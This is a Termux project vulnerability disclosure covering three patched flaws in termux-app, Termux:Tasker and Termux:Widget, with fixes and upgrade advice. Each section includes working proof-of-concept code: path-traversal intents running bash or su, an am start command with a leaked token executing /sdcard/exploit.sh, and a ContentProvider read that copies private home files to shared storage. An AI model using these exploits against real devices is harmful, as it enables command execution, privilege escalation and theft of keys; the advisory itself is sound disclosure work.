Termux Apps Vulnerability Disclosures

This is a vulnerability report for termux-app, termux-tasker and termux-widget.

It is being released on 2022-02-15, after 30 days of termux-app v0.118.0 release and ~150 days since Google Playstore builds were officially deprecated with a terminal banner added in termux-tools v0.135 and termux-app readme was updated with deprecation details. This should have allowed enough time for users on Google Playstore builds (latest version v0.101) to move to F-Droid/Github releases for Termux app and all its plugin apps and enough time for other Termux app users on <= v0.117 to update to >= v0.118.0.

Users are advised to immediately update to Termux v0.118.0, Termux:Tasker v0.5 and Termux:Widget v0.13.0 if they are using any older version.

Contents

1. Termux:Tasker Privilege Escalation Vulnerability

This vulnerability allowed execution of any command in termux context or even root context if termux had been granted root permissions by any app.

The vulnerability existed since the first release of the plugin v0.1 (2016-12-26) till <= v0.4 and was fixed in v0.5 (2020-12-07).

The vulnerability existed in FireReceiver of the Termux:Tasker app where it didn't check the full canonical path of the executable and executed it as is. The Termux:Tasker app is only meant to allow scripts in ~/.termux/tasker directory to be executed to prevent arbitrary commands to be run in termux context by other apps but without the canonical path check for the executable, an app could send ../../../usr/bin/bash as the executable value and -c "some termux context command" as args value to run commands in termux context or send ../../../usr/bin/su as the executable value and -c "some root context command" as args value to run commands in root context.

Note that it does not require a plugin app to send intents to FireReceiver, but any app can send the intent using java. The Termux:Tasker Exploit task does just that and uses Tasker java actions to emulate how a normal app would send an intent.

1. Proof Of Concept

Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");

Bundle bundle = new Bundle();
bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);

intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
context.sendBroadcast(intent);

1. Fix

  1. To send an intent to FireReceiver now requires com.termux.permission.RUN_COMMAND, a dangerous runtime permission, to be granted to the calling app, which was published by Termux app. The Tasker app already had requested the permission since v5.9.3 for RUN_COMMAND intent before the v0.5 release but other automation apps would have had to request the permission in later versions. (26da42f7)

  2. The canonical path of the executable received by FireReceiver was found before it was processed. The v0.5 release officially added support to allow executables outside the ~/.termux/tasker directory, but only if user had explicitly added allow-external-apps=true to ~/.termux/termux.properties. (a5af3db3)

This dual permission model enforced by android os permission and an app setting for absolute paths provides reasonable security against any arbitrary code execution or privilege escalation unless users grant the permission to untrusted apps.

Check Termux:Tasker README for more details on new design.

1. Discussion

This kind of vulnerability partly existed because any app can send intents to plugin apps of automation apps like Tasker. The Tasker app and the locale plugin protocol library it uses were created around 2008. At that time runtime permissions didn't exist and security and possible dangerous uses of plugins may not have been a top priority/concern. However, it is indeed especially concerning for plugin apps that are granted privileged permissions like device admin/owner and accessibility services or even storage, location, etc. For example the SecureTask plugin needs to be set as device admin or even owner for a lot of its features. If a user has installed the app on their phone and have granted the device admin permission to SecureTask, any app could send intents to it directly without going through Tasker to run privileged commands, including wiping the device.

The Termux:Tasker requirement for com.termux.permission.RUN_COMMAND permission requires Tasker and all other automation apps to request the permission in their AndroidManifest.xml, but this can't be expected to be done for almost every plugin that exists since it would require manual intervention of all automation app devs. Moreover, private plugins may exist to with their custom permissions, whose info their devs may not want to release to the public. Possibly some kind of token generation and validation mechanism needs to be designed, possibly as core part locale library. Hopefully, more thought can be given to this and termux, automation and locale lib devs can collaborate to implement something in (near) future, since current design is not how it should be.

2. Termux:Widget Privilege Escalation Vulnerability

This vulnerability allowed execution of any command in termux context or even root context if termux had been granted root permissions by any launcher app in which the user had created a launcher shortcut and by any malicious app which started the Termux:Widget shortcut chooser activity and user accidentally selected a shortcut regardless of if the app was the default launcher or not.

The vulnerability existed since the first release of the plugin v0.3 (2015-12-20) till <= v0.12 and was fixed in v0.13.0 (2021-09-23).

The Termux:Widget "security" worked by generating a token and storing it in shared preferences. Now every time a static shortcut was created for a launcher app, it was sent this token as an extra in the shortcut intent created. When the user triggered the shortcut, the shortcut intent was sent by the launcher app and received by TermuxLaunchShortcutActivity and it was checked if the one in the intent matched against the one stored in shared preferences. Now this provided decent security and is usually how APIs work, but no canonical path validation was being done before passing it to TermuxService. It was not checked if the canonical path was under the ~/.shortcuts directory. So basically once a malicious launcher or any app had received a token, it could run any command at any time by sending a custom path like /sdcard/exploit.sh for foreground commands or /sdcard/tasks/exploit.sh for background commands (Termux:Widget would assume it as background since parent dirname would equal tasks).

2. Proof Of Concept

  1. Install Termux:Widget v0.12.

  2. Create a shortcut from termux terminal: touch ~/.shortcuts/tasks/test

  3. Get the token being used by Termux:Widget by installing TaskerLauncherShortcut and open it, then options (3 dots at top right) -> Search Shortcuts -> Static Shortcut -> Termux:Widget -> Select any shortcut and an intent uri will be copied to clipboard, something like com.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end. You can also get the token by running following in termux terminal cat /data/data/com.termux.widget/shared_prefs/token.xml after creating at least one launcher shortcut.

  4. Create an exploit file from termux terminal: echo 'whoami; su -c whoami; sleep 5' > /sdcard/exploit.sh

  5. Trigger the exploit from termux terminal or adb shell: am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025

Or use java from any app.

	Intent intent = new Intent();
	intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
	intent.setData(Uri.parse("/sdcard/exploit.sh"));
	intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
	startActivity(intent);

The termux app will run the /sdcard/exploit.sh script with /data/data/com.termux/files/usr/bin/sh and /sdcard being mounted as noexec would not be an issue.

2. Fix

  1. Use ShortcutManager APIs to create pinned shortcut on android version >=8. This is better way to create shortcuts since launcher does not get access to shortcut data of the app and android itself stores them, so even the launcher app would not get the token and would not be able to run any scripts whose shortcut was not explicitly created by the user. For more info on shortcut types, check https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types. (e94d7777)

  2. The token being previously used and shortcuts created on older versions of Termux:Widget were invalidated so that in case a malicious app already had the token, it could not use it anymore and so that users on Android >= 8 were forced to re-create their shortcuts with safer pinned shortcuts API instead of continuing to use the old unsafer static shortcuts API. (32f344ee)

  3. The canonical path of the executable received by TermuxLaunchShortcutActivity was found before it was processed. Shortcuts that were broken symlinks or whose canonical path was not under the ~/.shortcuts or ~/.termux directory were not shown and execution for the later was not allowed even if the path was sent. (32f344ee, 32f344ee, bcb0ab6c)

Using pinned shortcuts on android version >=8 and not allowing execution of files whose canonical path was not under the ~/.shortcuts or ~/.termux directory provides reasonable security against any arbitrary code execution or privilege escalation. Users who are on Android versions < 8 would still have to use static shortcuts and should be careful about which apps they create a shortcut in, since such apps would be able to execute any scripts under the allowed directories. Users generally should be very careful about which launcher or non-launcher shortcut apps (like Shortcut Maker) they install on their device, since these apps get to execute dangerous shortcuts for apps which can have serious consequences if not protected properly by the apps.

Check Termux:Widget README for more details on new design.

3. Termux Files World Readable

This vulnerability allowed all files under /data/data/com.termux/files to be readable by any app.

The vulnerability existed since v0.47 (2017-02-28) till <= v0.117 and was fixed in v0.118.0 (2022-01-08).

The vulnerability existed in the termux ContentProvider declaration since it had set android.permission.permRead as readPermission. Basically, termux passes the FLAG_GRANT_READ_URI_PERMISSION flag when user requests to open a file with another app, like with termux-open, so the target app doesn't need to have the android.permission.permRead permission to be able to read the file, which also requires grantUriPermissions="true" in the provider element. However, if some app has the permission, it can read any files under files directory as set by termux TermuxOpenReceiver$ContentProvider.openFile().

Issue was that termux did not declare/publish the android.permission.permRead permission, like it does the com.termux.permission.RUN_COMMAND custom permission. Its a dummy permission, likely copied from some tutorial or stackoverflow answer when the ContentProvider was added, since internet searches reveal various random results from different sites for it. It was meant to be replaced with a custom permission published by the app, but it was not. That resulted in any app to just publish the permission in its own AndroidManifest.xml and grant itself the permission with uses-permission entry and then be able to read any files under files directory.

Note that other apps could only read the files, but not write to them since TermuxOpenReceiver$ContentProvider.openFile() returned the ParcelFileDescriptor.MODE_READ_ONLY file mode, so writing was not possible and caller would get java.io.IOException: write failed: EBADF (Bad file descriptor) errors if it tried to write, There was also no writePermission set in the provider element. This at least prevented arbitrary code execution and privilege escalation, which obviously would have been much worse for some cases.

3. Proof Of Concept

The following POC reads the /data/data/com.termux/files/home/.bashrc and writes it to /sdcard/bashrc.txt.

private void runTermuxContentProviderReadCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
    //Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
    InputStream inputStream = null;
    FileOutputStream fileOutputStream = null;

    try {
        inputStream = context.getContentResolver().openInputStream(uri);
        File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
        fileOutputStream = new FileOutputStream(outFile);
        byte[] buffer = new byte[4096];
        int readBytes;
        while ((readBytes = inputStream.read(buffer)) > 0) {
            Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
            fileOutputStream.write(buffer, 0, readBytes);
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (inputStream != null)
                inputStream.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
<permission
    android:name="android.permission.permRead"
    android:description="@string/permission_termux_provider_description"
    android:icon="@mipmap/ic_launcher"
    android:label="Termux Provider"
    android:protectionLevel="normal" />

<uses-permission android:name="android.permission.permRead"  />

3. Fix

  1. The dummy android.permission.permRead readPermission was silently replaced with com.termux.permission.RUN_COMMAND in termux ContentProvider declaration. It seemed appropriate to use the same com.termux.permission.RUN_COMMAND permission used for RUN_COMMAND intent and other plugin command executions for accessing files as well since commands can access files anyways, and it would be easier for third party apps to request a single permission. (b62645cd)

  2. The file mode returned by TermuxOpenReceiver$ContentProvider.openFile() which was previously ParcelFileDescriptor.MODE_READ_ONLY was changed to allow both read and write or more specially any file mode defined by ParcelFileDescriptor.parseMode(). With this change, apps that don't have the com.termux.permission.RUN_COMMAND permission are denied access, unless temporary read permission was granted through termux-open. For apps with the permission, they can use something like the following for reading and writing. Note that writing to external storage will fail with File APIs (outFile.createNewFile()) if scoped storage restrictions are being enforced for the calling app, like for targetSdkVersion > 28. (b62645cd)

Sample code to read/write termux files for v0.118.0+
private void runTermuxContentProviderWriteCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/test.sh");
    FileOutputStream fileOutputStream = null;
    BufferedWriter bufferedWriter = null;
    ParcelFileDescriptor parcelFileDescriptor = null;
    try {
        parcelFileDescriptor = context.getContentResolver().openFileDescriptor(uri, "wt");
        Log.d(LOG_TAG, "parcelFileDescriptor: " + parcelFileDescriptor.describeContents());
        fileOutputStream = new FileOutputStream(parcelFileDescriptor.getFileDescriptor());
        bufferedWriter = new BufferedWriter(new OutputStreamWriter(fileOutputStream, Charset.defaultCharset()));
        bufferedWriter.write("echo 'some script'\n");
        bufferedWriter.flush();
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (parcelFileDescriptor != null)
                parcelFileDescriptor.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
            if (bufferedWriter != null)
                bufferedWriter.close();

        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

private void runTermuxContentProviderReadCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
    //Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
    InputStream inputStream = null;
    FileOutputStream fileOutputStream = null;

    try {
        inputStream = context.getContentResolver().openInputStream(uri);
        File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
        if (!outFile.exists())
            outFile.createNewFile();
        fileOutputStream = new FileOutputStream(outFile);
        byte[] buffer = new byte[4096];
        int readBytes;
        while ((readBytes = inputStream.read(buffer)) > 0) {
            Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
            fileOutputStream.write(buffer, 0, readBytes);
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (inputStream != null)
                inputStream.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  
  1. The termux ContentProvider access was only allowed if allow-external-apps was set to true in ~/.termux/termux.properties. This also results in termux-open and xdg-open command to silently fail if value is not set to true in v0.118.0. An error notification will be added in future versions. The caller app like QuickEdit may still show a flash error. Check https://github.com/termux/termux-tasker#allow-external-apps-property-optional on info on how to change the value. Write access through ContentProvider was also disabled for ~/.termux/termux.properties so that apps couldn't modify termux settings without user consent, although they can still do it with RUN_COMMAND intent for now, at least until whitelisting commands is implemented to give users more control. (dcedf394, e302a14c)

3. Discussion

All private files like security keys for ssh or encryption keys should be assumed to be compromised for users who were using termux app version <= v0.117 . It is highly advisable to replace any such keys with new ones and look into any suspicious authorized access on any remote servers being connected to from termux.

People who are still using Google Playstore version are advised to immediately shift to F-Droid or Github releases since updates will not be released on Google Playstore any time soon, if ever, due to Android 10 issues. Playstore builds were deprecated more than ~150 days ago and are no longer supported. Check https://github.com/termux/termux-app#installation for more info on where to install/update the Termux app.

Google Playstore, F-Droid and other stores should ideally also add checks to see if any other apps are using android.permission.permRead or android.permission.permWrite permissions or other dummy permissions found in internet searches in the app ContentProvider declarations and notify their devs since those apps would be vulnerable as well to such vulnerabilities. Moreover, any malicious apps declaring or requesting those permissions should also be caught and removed.

It would also be highly appreciated if any other devs review Termux and plugin apps code for any other potential vulnerabilities that may exist so that they can be fixed as well to provide safer environment for users.